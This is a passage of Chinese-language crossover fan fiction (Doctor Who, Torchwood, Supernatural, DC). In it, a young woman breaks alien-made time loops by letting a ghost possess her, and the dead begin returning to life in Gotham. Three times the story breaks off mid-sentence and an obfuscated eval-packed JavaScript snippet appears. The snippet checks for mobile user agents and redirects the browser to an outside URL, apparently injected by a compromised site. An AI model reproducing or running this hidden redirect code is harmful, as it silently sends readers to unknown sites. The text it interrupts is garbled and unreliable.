“就像现在。”她的指尖划过边缘处规律的波形,“找到它了。” 49.爸爸来了的第五天 屋子里没有开灯,但外面月色皎洁,漏风的门缝里也透进了走廊上的光,还能让人勉强在夜里视物。 伊琳逐渐适应了光线后,开始思索起自己到底处在什么环境里:身下似乎是一张硬板床,她想撑起身子却又酸软无力地摔了回去,喉咙里莫名开始发痒。 她眯起眼睛,看见了一只深红色的飞蛾在空中扑棱。 在同一时间,胳膊里突然传来一阵剧烈的绞痛,她下意识握上去,猝不及防地摸到了皮肤底下不断变化的起伏,像是有什么东西要挣扎而出。 她悚然一惊,突然意识到了这是何时何地,还没来得及想清楚自己到底是怎么过来的,身下突然一空,硬板床连着地面似乎瞬间裂了一条大缝。 然后她掉在了一块更硬的材质上,忽然明亮的光线刺激得她睁不开眼,撑起身体的过程中摸了一手灰尘与熟悉的柏油路的粗糙质感。 她听见了人群嘈杂的交谈声,其中夹杂着熟悉的威尔士口音。 伊琳缓缓睁开眼,将疑惑的目光投向人群,有人对上她的眼神,向后退了一步,人群里的交谈声混在一起,断断续续地朝她飘来:“突然出现了......” “......她好像是刚才凭空消失的那群人里的一个。” 视线再往旁边偏了偏,黑色的机器外壳在人们身后若隐若现。她朝着那个方向走了几步,人们自动给她让出一条路来。 屏幕显示,时空能量在附近的某一处扭曲着蜷成一团,甚至比之前的波动更加强烈。 外星人又找到了新的能量来源——伊琳一行人的确找到了罪魁祸首,但不巧的是,罪魁祸首也看到了他们。更不巧的是,他们几个全部都在这个外星人的食谱上。 “你看这个形状像不像回音的声纹?”意外发生前,博士点着显示器说道,“在他们种族自己的语言里,他们的名字很长,但多数人都管他们叫做‘死亡回响’。” “死亡回响?我还从来没有见过他们。”杰克显然听过这个名字,“据说他们很稀有。” “一般来说,只有在战场上才能看见他们。那才是他们的盛宴。” 死亡回响对时空的影响能力很微小,只能创造出一个短暂狭小的时间循环,将极少数的生命体困在里面。 “而且,他们只能利用生命体身上时间最不稳固的那一刻制造循环。” 迪恩不解地皱起眉头:“什么叫时间不稳固?” “生与死的交界点,濒死的时候,尤其是在意外死亡的恐惧中,人身上的时间能量会剧烈地闪烁。” 死亡回响通过构建循环,让生命体停留在这一时段,从而不断偷取快速流失的能量。 “在成千上万次循环之后,当每次循环提供给回响的能量不足以维持循环,生命体就会彻底死去,循环会成为时间停滞的时空夹层。”博士说。 在几十年前的某个时候,有几个死亡回响无意穿越里时间裂缝来到卡迪夫,将此后卡迪夫里意外濒死的人卷入了时间循环。 “宇宙融合的那一刻,灵魂和死后的世界成了现实,但这些人的灵魂却被困在夹层里出不去了。” 博士的分析突兀地一顿,伊琳顺着他的话自然地提出了推论中缺失的那一环:“但那些幽灵不在夹层里啊?我们不是见过他们了吗?” 博士睁大了眼睛,看着纠葛的时空能量像一团毛线一样被顺开,随着惊叫声的响起,蒙了一层灰白色的幽灵出现在不远处的街道上,茫然地徘徊着。 几秒过后,刚平滑下来的时空能量又剧烈地波动起来,昭示着新循环的成型。 “离开这儿!”博士喊道。 但已经来不及了,话出口的瞬间,塔迪斯温和的光芒笼罩着他。 他抬起双手看了看,又揉了揉脸,自言自语时的声音连他自己听了都有些陌生:“久违了,第九个我。” 他视线的角落捕捉到一抹金黄色,熟悉的金发少女惊慌地看着他。 “我没有预料到这个。”博士深呼吸了一次,将眼里的雾气眨掉,嘴角咧到了耳朵边上,“好久不见,罗斯。” “哦,别担心,我只是要......” 话没说完,耀眼的白光占据了他全部的视线,重生的剧痛蔓延到全身。 ** 杰克面前的景象像是掉帧的老影片,模糊又卡顿,时不时又跳跃到另一个场景。 “第一次拥有那么多选择,是不是?”杰克竟然笑了,对着破碎的影像挑挑拣拣,“不,不要这个,一点美感都没有。你不喜欢这个吗?拯救世界,多么英雄。” 仿佛旋转着万花筒的大手突然停住了,所有的景象都凝结在原地,变得清晰又真实。 杰克看着远处飞过来的标枪,叹了口气:“认真的?这么多个选择里你一定要选择这个?” 标枪尖直直地穿过了他的胸口。 他毫不挣扎地退了一步——被利器扎入心口的时候,确实也没有多少挣扎的余地——倒在地上,手固住标枪杆子,以免它进得更深。 快速的失血让他周身都冷了下来,视线开始变得模糊,胸口的疼痛也含糊起来。 这个死法有点蠢,但算不上是最糟糕的那一档。而且时间循环的好处是,这一次他甚至不用自己在死前把标枪从身体里拔出来了——没错,人复活的时候如果心脏里插着一把标枪,倒也不能比被飞来的标□□中活得更久。 这就给他省下了一些用来冷静思考的时间。 他此前并未遇到过死亡回响,但也听说过这个罕见的外星种族的大名。他们虽然有创造时间循环的能力,但并未被认为是能力强大的种族,其一个主要原因就是他们能力的局限性——在维持时间循环的时候,他们无法将注意力投到外界的主空间中。 因此,在被困进来之前,他并不曾料到自己会倒霉到碰上一个饥肠辘辘、没有在进食的死亡回响,毕竟时间能量清楚地显示了一个成型的时间循环。 他的思绪随着失血逐渐变得迟缓,然后彻底中断。 光,然后是涌进肺里的气体。虽然睁眼的瞬间再次看见了迎面飞来的标枪,但杰克的心情还算不坏。 呼吸间没有吸入玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282518|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渣般的疼痛感,更不用担心自己醒过来时究竟是在什么地方,会不会被人用看怪物的眼神看着,要不要来一场停尸间的密室逃脱,只需要准备好胸口残存着幻痛的位置再被标枪扎上一次。 所以在他倒下去的时候,他还有心思和看不见的死亡回响搭话:“饕餮盛宴,哈?没见过比我更有生命力的人了吧?” 他身体里的能量永远活跃着,不会随着死亡次数增加而消散,如果没有外人打断的话,他提供的能量能一直维持循环直到死亡回响老死。 “你真幸运。”他由衷地感叹道,“现在的卡迪夫不太容易找到有意外濒死经历的人吧。”至少和死亡回响经常出没的战场是不能比的。 ……等等,所以死亡回响确实饿了很久,饿到如果吃不到正餐,一些能量极低的替代品也是可以接受的。 尸体是无法提供时间能量的,但是有意识能动弹的鬼魂......大概可以? 死亡回响大概正处在饿了一顿之后遇上一餐难吃的饭的状态,看鬼魂觉得食之无味弃之可惜,吃吃吐吐,结果正好撞见他们几个。 “好在我们人多,”杰克想,“这么多个人不至于都陷进来了吧。” ** 好吧,绕着这个街区转了几圈、又给其他人的手机打了五六通电话后,伊琳终于认清了一个现实:现在,没有落入时间循环中的只剩下了她一个人。 确切来说,她也短暂地被困住了一会儿,然后又莫名其妙地出来了。 她懊恼地抓了抓头发,自然卷的长发翘了起来,蓬乱地堆在肩上。分明是秋季,她脖子上却冒出了汗。 她还是第一次听说死亡回响这种外星生物,实在拿捏不准人陷入循环后究竟多少次才会被耗尽生命能量,现下显然也没有时间给她做调查用。 卡车一个急刹,盘腿坐在车斗里的伊琳随着惯性倒了下去,手肘磕在了笨重的时空能量检测仪上。 被她雇佣的卡车司机慌里慌张地把头探出窗外,追问她有没有事。伊琳摆摆手,手忙脚乱地将刚才和她一起倒下的监控屏幕一个个立起来。 面对着无从下手的情况,她只能用最笨的方法一点点收集线索,带着仪器以时间裂缝为中心,满卡迪夫地转悠。每到一个有时间循环显示的地点,就安上几个监视探头。 这会儿还没走过几个街区,她面前已经排上了五个监控屏幕。 ……有个屏幕上的画面似乎有些不对。 刚才稀稀拉拉的人群突然聚到了一起,动作有些迟疑,像是不知道应该上前还是后退。一般来说这种情况的出现就意味着...... 她快速地切换了几个监视机位,终于锁定了想看的目标。哪怕在色彩饱和度不怎么高的监视录像内,那个人看起来也比周围人白上一个度,衣服上也染着类似血迹的脏污,金发乱糟糟地支棱着,黏在脖子上的发尾挂下一道血污。 伊琳皱起了眉,总觉得这个幽灵给她一种莫名的熟悉感。 ……直到幽灵转过头,她终于定位了熟悉感的来源。 卢埃林·摩根! 50.爸爸来了的第六天 等卡车载着伊琳到了那条街时,卢埃林早就没了踪影。 这条街两侧大多开着小吃店、咖啡店,不少车子停在路边,导致原本就狭窄的路变得更加拥堵。 但伊琳的视野还算得上开阔,毕竟她有卡车高度的加持。接近傍晚的时候下起了细细密密的小雨,正当伊琳边坐在车斗里啃三明治边琢磨着要不要去副驾驶上避避雨时,卢埃林的身影突然就出现在了与之前监控视频里相同的位置。 她甚至都没反应过来自己到底是怎么翻出车斗的,只觉得落地的时候脚崴了一下,在反应过来疼痛之前就往前赶了几步,一句昵称脱口而出:“卢!” 卢埃林的头似乎往她的方向偏了偏,像是看到了她,但伊琳并不是很确定,因为卢埃林的眼神是死气沉沉的涣散,更因为他在十几步之外闪了闪,消失在了原地。 在他消失前,伊琳眼前的空间有一瞬间的扭曲,有点像是光线突然被什么东西折射了。但诡异的是,这个扭曲水波般弥漫开,但在触及到伊琳之前拐了个弯,竟像是有意识般地绕开了她。 伊琳眨了眨眼——虽然很奇怪,但她甚至能从这个模糊的扭曲里看出一丝慌乱。 ……也有可能是她盯着监控太久眼花了。 卢埃林第二次出现的时候,天已经完全黑了。伊琳斜躺在车斗里,手臂几次被头枕得发麻,接连不断的哈欠将眼泪从眼里逼了出来,在她某一次眨眼之后,监控器里再次显现出那个熟悉的身影。 她像弹簧一样跳了起来,和卢埃林的幽灵对上了眼神。 这一次他好像真的看到了她,甚至张了张嘴,像是想说些什么。 在伊琳能够确认鬼魂是不是真的能够说话以前,那奇异的扭曲再一次出现。 这一次她终于意识到自己并没有“看到”扭曲,这里的光线并不足以让她看清如此微小的变化,哪怕她的夜视能力超出常人也不行。 这更像是她以某种自己从未意识到过的方式感知到了能量的变化,大脑将信息处理成了她容易理解的视觉效果。 但这一次,她哪怕没有“看见”扭曲,也能为这件事的发生找到成因——时间能量监控仪在同一时间在她眼前伸展又蜷曲到一起。 所以说,幽灵出现与消失本质上是时间循环的解除与重构。 哪怕伊琳并不了解死亡回响,她也不认为这会是死亡回响操纵时间循环时的常态。 那么最大的可能性就是,鬼魂有什么特殊之处能够让他们频繁地打破时间循环。 她不能确定鬼魂到底是如何打破的时间循环,但至少她知道怎么去壮大鬼魂的力量——萨姆传给她的资料到底还是派上了用场。 鼠尾草、薰衣草、薄荷、檀香磨成粉盛在纯金的器皿里,点燃的火柴落在其中,火焰将奇异的香气送出,热量模糊了空气。伊琳撕下一页卢埃林留存的笔记,火舌一下子将脆弱的纸页吞没,器皿旁的音叉突然在没有敲击的情况下发出了荡荡悠悠的响声。 在练习了几遍后,拗口的拉丁语召唤咒被她缓缓念出:“徘徊在时间里的幽灵,我呼唤你。” 细密的香料草药粉末原本稳定地燃烧着,在她话出口的那一刻,忽然响起了突兀的爆裂声。 “我召唤你,我指引你,点亮现世的归途。” 音叉剧烈地颤抖起来,原本缭绕着的烟雾像被无形的罩子笼了起来,直直地向上飘去。 有什么东西被抽离了她的体内,感觉起来很微不足道,像是一次随意的呼吸,但在它离开身体的几秒内,伊琳甚至依旧能感知到它的方向——它在半空中停留了一瞬,像是在寻找,然后一头扎入了某个隐秘的空间。 音叉蓦然间安静了下来,香料燃烧产生的烟雾随着风飘散开去。 一股寒意笼罩下来,将火苗的热压得严严实实的。 “伊琳......”音波似乎也是冷的,伊琳打了个寒战,拢起外套,穿过缭绕的烟雾。 饶是早已有了心理准备,看到卢埃林的那一刻,伊琳还是倒吸了一口气,却被烟雾熏得咳嗽了几声。 此前伊琳便觉得,卢埃林的上半身比下半身看起来更凝实一些。离近了才发现,他的大腿根部血肉模糊,垂落的双腿不自然地扭曲着。 她应该抓紧时间,趁着卢埃林再次被时间循环卷进去之前问到破局的关键,但她还是忍不住伸出手,穿过卢埃林的身体时像浸入了冰凉的池水里,虚虚地扶着他的轮廓:“发生什么了?” “车祸。”他说。 伊琳不知道他的苍白究竟来源于失血还是鬼魂的常态,只觉得他棕色的眼睛被衬得更加深沉寂灭。他观察时转动着头,眼珠子一动不动地待在眼眶里的原位上,上上下下地打量着伊琳。 他的嘴角向上扬起,似乎是一个笑,但脸上被肌肉牵动的伤口和青紫比笑更引人注目:“你长大了。如果不是看到了杰克,我还真的认不出你了。” “你看到了爸爸?”伊琳睁大了眼睛,“他在哪儿?” 卢埃林伸出手指,指向虚空:“就在那儿。” 伊琳顺着他手指的方向看去,除了街边的垃圾桶,什么都没有看见。 “好吧,”伊琳叹了口气,“那你看到他现在怎么样了吗?” “他,”卢埃林歪了歪头,神情专注地观察着远方,“又死了一次。” 就像往常一样。 “......看起来疼吗?” 卢埃林沉默了一会儿,语气很茫然:“或许吧,我分不出来了。” 他又开始转动起脑袋,扭转的幅度显然超出了正常人类的极限:“这里多了好多人。” “等等,所有的时间循环,你都能够看到?” 卢埃林缓缓点了点头:“我能看到很多,但不确定是不是全部的。” 伊琳的第一反应是想打听他们一个个人的现状,但很快克制住了这种于事无补的关心,反正以死亡回响的特性,卢埃林的回答大抵就是“快死了”和“又死了一次”。 倒是卢埃林能看到各个时间循环内部的能力值得深挖。 “既然你能看到他,你能到爸爸那儿去吗?” “我试过,”他说,“但在这种状态下,我总是从他身上穿过去,他也看不到我。” 他突然睁大了眼睛,原本半透明的身体逐渐凝实了:“又开始了......” 伊琳再一次“看见”了空间的扭曲,卢埃林的金色头发总是让她想起克莱尔。于是,她忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297437|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然生出了一个疯狂的念头,冲着卢埃林喊道:“附身我!” 卢埃林看起来没反应过来,手臂已经在扭曲的空间里被吞没了一部分。伊琳一咬牙,主动冲着他撞了上去。 最先占据她感官的是冰冷,像是在冰湖里浸了几个小时的寒冷与僵硬,寒意给双腿带来细细密密的刺痛,疼痛感很快变得强烈而深入骨髓,几秒钟后又如同潮水一般褪了下去。 一同褪下去的是她对于外界的感知——失去了之后她才意识到,原先气流在皮肤上的吹拂感是那样明显。 她看着身边的景色往后退去,然后才反应过来这应该是自己的身体往前走了一步。 卢埃林在她的脑子里惊慌失措地喊了起来:“怎么回事?伊琳,你在吗?” 伊琳没有回答他的话,她的全部注意力都被层层叠叠的空间与虚影所占据着: 最显眼的是那个在发光的人,虽然她从未见过那张脸,但直觉告诉她,这应该是博士某次重生的时候。 ……倒在地上胸上插着一支标枪的是爸爸,他看起来神色自若,往后躺的时候还一边抽气一边翘起了二郎腿。 迪克看起来比现在小了好几岁,还穿着罗宾制服。他的循环并没有以死亡作为结束的标志,而是不断重复上演着中弹、从楼顶失足落下、被蝙蝠侠用绳索救起的场景。 迪恩在被一直半透明的三头犬追赶撕咬,而萨姆的循环里也有一个迪恩,总是徒劳地在萨姆倒地的时候接住他。 还有更多她不认识的人在循环里反复死去,也有神情茫然的幽灵在重复生前的死亡后颜色变得更淡,然后穿透了那层循环的壁垒,飘到主空间里引起一阵惊呼。 所有的影像都重叠在一起,落在她眼中却一点都不曾扰乱她的观察。时间能量纠葛在一起,却又错落有致,层次分明。能量无处不在,穿梭在整个世界里,也毫不留情地穿过人们的身体。 ……然而,经过她的时候,时间能量总是不自然地偏移扭转。 她莫名觉得这散落的能量似乎很脆弱。 “卢埃林,你能......”她在脑海里想着,“试试看抓住时间能量吗?” 卢埃林被突然响起的声音吓了一跳,还是依言试探性地伸出手去。时间能量肉眼可见地被她的手指拦腰切断了,多余的能量溢散开去。 看起来很轻易、很简单,而那层层叠叠的循环,看起来也并不比这溢散的时空能量稳固多少。 “走过去,触碰循环。” 像是被巴士上的应急锤砸中一角的玻璃,在伊琳看见自己手臂往外伸的那一刻,眼前的循环剧烈地颤抖起来,里面被塑造出的所有场景都化为乌有。余震顺着被编织成线的能量传递到一片混沌中,所有的线在同一时间抖了起来,又在混沌的膨胀中被强行压下。 卢埃林也被余震殃及,一半灰白的灵魂露在了伊琳身子外面,被刚从循环里出来的迪克看在眼里,惊骇非常,下意识掏出了铁质的夜翼镖。 还没等他下定决心出手,伊琳已经快速地向前跑去,伸出手更坚定地朝着空气一挥。 迪克看不见线断后四处溢散的能量,却看见了一个个凭空落下的伤者、尸体,还有漂浮在尸体上半透明的幽灵。 51.死者复活的第一天 卢埃林尚未完全脱离伊琳的身体,因此她眼中的世界与迪克所看到的截然不同。 ……在卡迪夫的深夜看见那么多忙碌加班的人也是一件挺难得的事。 他们穿着黑西服或黑色连衣裙,步履匆匆地穿梭在突然出现的幽灵间,手里捧着文件夹,飞快地翻着页:“......1981年去世,是他!” 圆珠笔被按得啪啪响,纸上被画上了一个个跨越半张纸的大勾。他们头也不抬地对着面前的幽灵说了一句“跟着我”,又奔向下一个幽灵的所在。 “这些年没找到的灵魂是不是都在这儿了?”伊琳听见有人这么说,“谢天谢地,这桩事总算解决了。” “别高兴得太早,你不如想想谁去向boss报告。boss最近心情可不太好。” “哈,因为地狱搞出来的事?” 黑裙女人和伊琳擦肩而过,忽然顿住了脚步,扭过头凝视着她的脸。伊琳歪了歪头,看着她将文件夹翻得呼呼作响,终于从夹缝中找出了一张皱皱巴巴的纸:“卢埃林·摩根,原来在这里。” 她伸出手,伊琳感到自己身体里的冰冷流动了起来,急急问道:“你是谁?” “我们是死神。”女子说,“谢谢你把这些灵魂带出来。” 所有社畜工作的场面随着身体中寒流的消退而消失了,伊琳再一次感受到晚风吹在皮肤上的干冷。 “伊琳,”一只手搭上了她的肩膀,“你没事吧?” 她耸了耸肩,自然地转过身,搂住迪克的脖子,悄悄把手从他领子里探进去,看着他冻得缩了缩脖子,笑了:“没什么,只是看到了死神。” 迪克挑了挑眉,但也难以从伊琳的笑容里辨认出这是不是句玩笑,索性也不深究,只伸手拎起伊琳的围巾紧了紧,让围巾覆盖住伊琳冷得通红的鼻子。 “你救了我们所有人!再来几次说不定我会考虑让你升级成为小太阳。”杰克双手插在裤子口袋里,大衣敞开着,嘴角的弧度看起来灿烂又轻松,但眼睛却清醒冷静,像是在思量着什么。 “也要谢谢卢,”伊琳退后几步,绕过迪克直视着杰克,笑容的弧度和他一模一样,“谁能想到被鬼附身之后就能打破时间循环呢?” 杰克脸上的笑容扩大了几分,终于触达了眼底:“是啊,谁能想到呢?” 他在撒谎。 爸爸至少隐瞒了一件关于她的事,关于她为什么能够打破时间循环,也关于她为什么要一直戴着纳米薄膜。 伊琳胸腔里的颤动将全身带得发麻,热意涌到了眼睛里,又被她强行给压了下去。她刻意将呼吸保持得缓而深,脖子上的纳米薄膜挂坠随着胸腔的起伏而变得更有存在感。 她轻轻用手握住了它,看着杰克下意识地收敛了笑容,专注地看向挂坠。 博士微微皱起了眉,不安地看向杰克。 伊琳想说些什么,却被突然响起的铃声给打断了,迪克匆匆说了声抱歉,接起了电话。 “你在撒谎。”伊琳面对杰克,缓慢无声地做着口型。 杰克没有表情地沉默了一会儿,然后又笑起来,偏过头,假装去查看其他时间循环里的幸存者。 “芭布,你肯定猜不到我在哪儿。”迪克对着电话轻快地说,“不,我没和泰坦在一起。再猜猜看?” “......呃,你猜对了,我确实和伊琳在一块儿。但你还是没有猜我在哪儿。” 听着听着,他的笑容渐渐变淡:“马上回去?出什么事了吗?” “别担心,不是什么急事。”电话那头的芭芭拉语气古怪,像是在极力掩饰着什么,“呃,或许也有点急,取决于你怎么定义它。但不是夜间事业那种急事,也不是坏事。但......就是......尽快来哥谭一趟,拜托了。” 在挂掉电话前,芭芭拉突然叫住了迪克:“顺便问一句,罗姆语的‘别担心,你儿子很快就来’怎么说?” ** 芭芭拉跟着迪克念了一遍,一抬眼就看到面前的格雷森夫妇睁大了眼睛,神色激动地想要说些什么。 为了防止迪克在电话那头听到他们的声音,芭芭拉飞速挂断了电话,将轮椅推到前面,握住他们的手,正式地用罗姆语说道:“你们儿子很快会过来。” 玛丽·格雷森激动得双眼通红,磕磕绊绊地说道:“罗宾......我的罗宾......” 芭芭拉的手紧了紧,轻声说:“是的,罗宾,他很快就来了。” 她再一次拿出了准备好的干净毛巾,对着灰头土脸的格雷森夫妇微笑道:“警局的淋浴间已经空出来了。” 警局很忙,从接到第一通来自墓地看守人的电话起,警员们就陷入了一种浑浑噩噩但像陀螺一样忙得团团转的状态。 他们一开始还以为这是什么恶作剧,直到越来越多内容相似的报警电话打进来,号称自己看到尸体从坟墓里爬出来、在街上行走,甚至后来有“死者”走进警局求助说自己找不到家了,哥谭的警察们终于不情不愿地承认哥谭的诡异程度又加了一层。 看到闻讯找来的父母与意外早逝的孩子抱头痛哭时,警察们甚至很快接受了这一现实,觉得这种异常事件似乎也不错。 “如果有什么不对的话,蝙蝠侠不应该早就出现了吗?”在茶水间短暂停留的时候,有警员玩笑说。 戈登虽然觉得现状的诡异程度已经超出了哥谭的常态,但他暂且也没有时间联系蝙蝠侠。他是一个严谨认真但不苛责的局长,这就使得下属们养成了在遇到超出能力范围的难题时果断地提交给上司的习惯。 这就是为什么会是由他来面对两个英语不太熟练的外国人——确切来说,是罗姆人;更确切一点,是来自哈利马戏团的罗姆人。 他当然认识飞翔的格雷森!毕竟里面最年轻的成员是他看着长大的,他甚至能精准地辨认出他的各个面貌特征是来自于父母哪一方的。 但这并没有让他更容易接受这件事,更别说思考如何去处理它。 戈登的第一反应是给布鲁斯打电话——他不敢直接告诉迪克,毕竟如果事情并不像它看起来得那么好,他并不想给那个孩子虚妄的希望。 ……布鲁斯没接电话。当然,这是一个上午,所以一个花花公子没接电话并不稀奇。 好在芭芭拉主动接过了这个难题。 “我会告诉迪克,他有权利知道这件事。”芭芭拉咬了下嘴唇,指节焦躁地敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338328|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击着扶手,轻轻摇了摇头,“不过不是在电话里,我得当面告诉他。” 令她颇为惊讶的是,直到她目送着格雷森夫妇去洗漱,神谕都没有收到任何蝙蝠侠发来的消息。 当她忍不住好奇给斯蒂芬妮发了条消息询问时,斯蒂芬妮很快地回了个电话:“你不知道吗? “B恐怕一时半会儿抽不开身。 “韦恩夫妇回来了。” 听着斯蒂芬妮的声音不对,芭芭拉追问了一句她在做什么,斯蒂芬妮沉默了一会儿,低声说:“......我在等。” 上数几十年,埋骨在哥谭的人不计其数,但复活的人倒也没一下子将大街堵塞得水泄不通。由此可以看出,虽然不知道具体比例,但复活的人实在也算不得多。 布鲁斯本在分析着复活者的共同点,还怀疑是否有魔法师去了哥谭的墓园,却被匆匆下到蝙蝠洞的阿尔弗雷德打断了。他罕见地气息不稳,情绪激动:“布鲁斯老爷,你可以回庄园一趟吗?” 布鲁斯听到他话语里像是哭腔的鼻音时,甚至有些怀疑自己的耳朵,猛地转过身,对上了阿尔弗雷德通红的眼眶。 他这会儿倒是稳住了情绪,正色说:“老爷,你必须上来看看。” 上楼的路上布鲁斯一直惴惴不安着,他第一时间怀疑了是不是有孩子出了什么事,但很快排除了他们受伤生命垂危的可能——如果是那样,阿尔弗雷德会把他们带到医疗室,而不是让他上楼。 布鲁斯将种种可能的情形在心中排了序,却从未想到会看到这两张脸。 他已经很久没有像幼时一样,在回忆里一遍遍描摹着这两张脸了。但他当然认得出他们,他们的画像就挂在庄园走廊的正中央。 然而他一直不敢仔细去看画像,害怕突然意识到他们在自己记忆中的模样是怎样渐渐淡去、失真。 “你们怎么敢......”脱口而出的话语用的并不是布鲁西的声音,这是独属于蝙蝠侠的喑哑低沉、充满威严,却又少见得充斥着愤怒。 布鲁斯甚至分不清这股怒火究竟指向谁:是指向胆大包天、敢于戏弄他的魔法师,还是记忆模糊的、分辨不出眼前人到底与父母有几分相似的自己? “哦,布鲁斯......你长大了......” 布鲁斯的心被玛莎泪眼朦胧的欣慰微笑带得一颤,他逃避似地闭了闭眼,握紧拳头,从牙缝里挤出话来:“你们究竟是什么?” “布鲁斯,对不起,真的对不起。” 布鲁斯·韦恩·秘密身份蝙蝠侠·哥谭最令人闻风丧胆的义警,面对着身分不明之人的接近,只是退了一步,沉默而神情复杂地看着对方伸出手,贴上自己的脸颊。 已经太久了,他甚至说不清这触感的似曾相识究竟是儿时残存的记忆还是他的幻想,但他还是在这微带凉意的触摸中松懈下因防备而绷紧的肌肉。 “对不起,我们错过了那么久。”玛莎专注地看着他的脸,托马斯也走上前来,哽咽了几次没说出话来,拍了拍他的肩。 布鲁斯闭上眼睛,深呼吸了几次,退后一步,避开了他们的接触:“好吧,让我换个问题。你们还记得什么?我是说,在......死去之后?” 52.死者复活的第二天 墓碑隐没在树林边缘投下的阴影里,就在阳光与影子交界处的里面一点。 那么多年过去后,庄园旁的树林很明显更茂密了些。或许下一次该把坟墓往外挪一些,更温暖,更干燥。 布鲁斯站在墓碑前的两个大洞外,看着里面空空荡荡的棺材,平静地想着。 ……下一次。 奇迹或许真的发生了,毕竟死而复生这种事并不是第一次发生在韦恩家,但这么大规模、无缘由的复活,从来不会是什么善心的神播撒给人间的奇迹。 所以,考虑“下一次”并不是太早。 “你就不能像个普通人一样,真心去感激失去的人回到了你的身边吗?”他对自己说,“去和他们说话,抱头痛哭一场。” 阴影下草叶上的露水打湿了他的裤脚,当他开始注意起脚腕上的凉意时,布鲁斯突然意识到自己的注意力少见地难以集中。他难以去聚精会神地思考自己下一步的计划,该如何找到这一切幕后的操纵者、找到真相。 他的思绪只是不停地绕来绕去,没有停息地卷过一切琐碎的事情。 ……只是不要停下来,不要让自己有时间被复杂的情绪卷席进去。 布鲁斯将自己注意力的涣散归咎于睡眠的缺乏,毕竟他凌晨夜巡回来后才睡了不到三个小时,就得知了哥谭内大量死者复活的消息。 口袋里的手机又振了一下。 他不用看也知道,这是阿尔弗雷德发来的消息。虽然没有明说,但布鲁斯清楚阿福对他逃避父母的行为很不赞同。 “夫人在做华夫饼。”在他踏进大门的那一刻,阿尔弗雷德低头看了眼他裤腿上沾着的碎草,没有对此作出评价,只是伸出手不容拒绝地将他引到厨房。 玛莎冲着他笑了一下,然后继续指挥着托马斯往华夫饼粉里面加水。 ……布鲁斯知道孩子们一直偷偷议论着阿福糟糕的华夫饼制作手艺,他也知道近乎全能的英国管家为何偏偏在这件事上折戟,但他从来没有向任何人提过原因。 做华夫饼真的很简单——只要你有成品的华夫饼粉——甚至布鲁斯在很小的时候站在厨房边上看了一会儿就意识到了。所以当他还是个孩子的时候,当妈妈用华夫饼诱惑他做某事时——“晚上的舞会你可以照顾那家的孩子吗”——他总是骄傲地宣称:“我可以自己做华夫饼!这很简单!” “可以,”玛莎笑着摸了摸他的头,“只要你能够得到料理台上的华夫饼机。” 当小布鲁斯看向托马斯的时候,托马斯憋着笑撇开了眼睛,并没有向往常布鲁斯够不到什么东西时一样将他举起来。显然,他不打算为布鲁斯逃离舞会的计划出一份力。 所以那时的布鲁斯最终还是心情纠结地接受了玛莎的华夫饼贿赂。 厨房里气味的相似不代表任何事情,布鲁斯对自己说,华夫饼的味道总是相似的。不管这味道怎么让他想起童年,都不代表着任何事情。 “我有个会议。”只要他转身够快,就看不到父母——长着他父母脸的人——失望的神情。 布鲁斯·韦恩翘掉了所有能翘的会议,但蝙蝠侠有自己的工作要做,并且蝙蝠侠不需要华夫饼。 ……但一点华夫饼也不会有什么妨害。 在阿尔弗雷德沉默着来到蝙蝠洞,在他的身旁放下一盘华夫饼,转身离去后,布鲁斯犹豫着切了一个角。然后切了更多。 他本可以把华夫饼全都吃完,但刀叉与盘子撞击的声音越来越响,他逐渐意识到自己的手抖得越来越厉害。 刀叉落在了盘子上,布鲁斯用手撑住额头,盖住了眼睛。虽然时间还早,但他有点想钻进蝙蝠侠的制服里了。 蝙蝠侠到底没有在天未暗时走上街头,但布鲁斯也没有加入家庭晚餐——用餐的人本来也没几个,除了达米安以外的孩子们不约而同地缺席了晚餐,考虑到他们都经历过失去亲人,布鲁斯都不需要动用世界第一侦探的推理能力就能轻易得出原因:他们在寻找,或是等待,或仅仅时怀念。 而复活者,显而易见,有着“我们不怎么饿”的特殊生理状态。他将这一点存进蝙蝠侠理智的大脑里,标红加粗:复活者的另一个可疑点。 因此,他毫不意外地看见达米安近乎是落荒而逃地来到了蝙蝠洞——当然,达米安在走下最后几节楼梯的时候放慢了脚步、调整了呼吸,假装自己的举止依旧庄严优雅。 ……韦恩夫妇当然会对自己的孙辈关怀备至,甚至热情得让人承受不来。 尤其是对达米安来说——他严肃的脸一点都没有让韦恩夫妇意识到他已经是一个心智成熟的大人了,反而觉得他看起来更加有趣可爱。 